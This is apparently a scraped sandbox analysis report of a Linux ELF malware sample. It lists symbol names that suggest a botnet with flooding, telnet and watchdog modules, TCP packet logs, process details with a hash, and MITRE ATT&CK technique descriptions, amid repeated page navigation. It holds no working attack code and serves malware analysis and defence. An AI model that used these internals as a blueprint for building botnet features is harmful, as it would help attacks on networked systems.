sleep	.symtab	0x412b90	564	FUNC	<unknown>	DEFAULT	SHN_UNDEF
snprintf	.symtab	0x412af0	68	FUNC	<unknown>	DEFAULT	SHN_UNDEF
socket	.symtab	0x412bc0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sockfd	.symtab	0x4555ac	4	OBJECT	<unknown>	DEFAULT	19
srand	.symtab	0x412d70	172	FUNC	<unknown>	DEFAULT	SHN_UNDEF
srv_addr	.symtab	0x456680	16	OBJECT	<unknown>	DEFAULT	20
sscanf	.symtab	0x412d40	72	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcat	.symtab	0x412c50	52	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcmp	.symtab	0x412dc0	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcpy	.symtab	0x412a60	36	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strlen	.symtab	0x412e40	184	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strstr	.symtab	0x412ca0	256	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strtok_r	.symtab	0x412a80	204	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sysconf	.symtab	0x412a90	432	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sysinfo	.symtab	0x412ba0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
table_key	.symtab	0x455210	4	OBJECT	<unknown>	DEFAULT	16
tcp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
tcp_ack.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
tcp_handshake	.symtab	0x405c4c	2592	FUNC	<unknown>	DEFAULT	8
telnet.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
time	.symtab	0x412da0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
u32t8le	.symtab	0x40d5f0	160	FUNC	<unknown>	DEFAULT	8
u8t32le	.symtab	0x40db4c	180	FUNC	<unknown>	DEFAULT	8
udp_plain.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
udp_raw.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
usleep	.symtab	0x412b00	144	FUNC	<unknown>	DEFAULT	SHN_UNDEF
util.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
util_atoi	.symtab	0x4076b4	952	FUNC	<unknown>	DEFAULT	8
w	.symtab	0x4555fc	4	OBJECT	<unknown>	DEFAULT	20
watch_pid	.symtab	0x4555bc	4	OBJECT	<unknown>	DEFAULT	19
watchdog.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
watchdog_init	.symtab	0x40bd44	520	FUNC	<unknown>	DEFAULT	8
watcher_destroy	.symtab	0x40b8fc	124	FUNC	<unknown>	DEFAULT	8
watcher_init	.symtab	0x40b978	392	FUNC	<unknown>	DEFAULT	8
watcher_len	.symtab	0x4555b8	4	OBJECT	<unknown>	DEFAULT	19
watcher_pid	.symtab	0x4555b4	4	OBJECT	<unknown>	DEFAULT	19
watchers	.symtab	0x456628	4	OBJECT	<unknown>	DEFAULT	20
write	.symtab	0x412c30	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
x	.symtab	0x4555f0	4	OBJECT	<unknown>	DEFAULT	20
xor_add	.symtab	0x40cba0	456	FUNC	<unknown>	DEFAULT	8
xor_init	.symtab	0x40cd68	848	FUNC	<unknown>	DEFAULT	8
y	.symtab	0x4555f4	4	OBJECT	<unknown>	DEFAULT	20
z	.symtab	0x4555f8	4	OBJECT	<unknown>	DEFAULT	20

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 09:41:02.331187963 CEST	43928	443	192.168.2.23	91.189.91.42
Apr 26, 2024 09:41:07.706458092 CEST	42836	443	192.168.2.23	91.189.91.43
Apr 26, 2024 09:41:08.474322081 CEST	42516	80	192.168.2.23	109.202.202.202
Apr 26, 2024 09:41:23.320355892 CEST	43928	443	192.168.2.23	91.189.91.42
Apr 26, 2024 09:41:33.558763027 CEST	42836	443	192.168.2.23	91.189.91.43
Apr 26, 2024 09:41:39.702029943 CEST	42516	80	192.168.2.23	109.202.202.202
Apr 26, 2024 09:42:04.274476051 CEST	43928	443	192.168.2.23	91.189.91.42
Apr 26, 2024 09:42:24.751713991 CEST	42836	443	192.168.2.23	91.189.91.43

System Behavior

Analysis Process: DL2E29FTg1.elf PID: 6236, Parent PID: 6162

General

Start time (UTC):	07:41:00
Start date (UTC):	26/04/2024
Path:	/tmp/DL2E29FTg1.elf
Arguments:	/tmp/DL2E29FTg1.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report DL2E29FTg1.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Runtime Messages

Process Tree

Yara Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Dynamic Tags

Symbols

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: DL2E29FTg1.elf PID: 6236, Parent PID: 6162

General

Chronological Activities

Linux Analysis Report
DL2E29FTg1.elf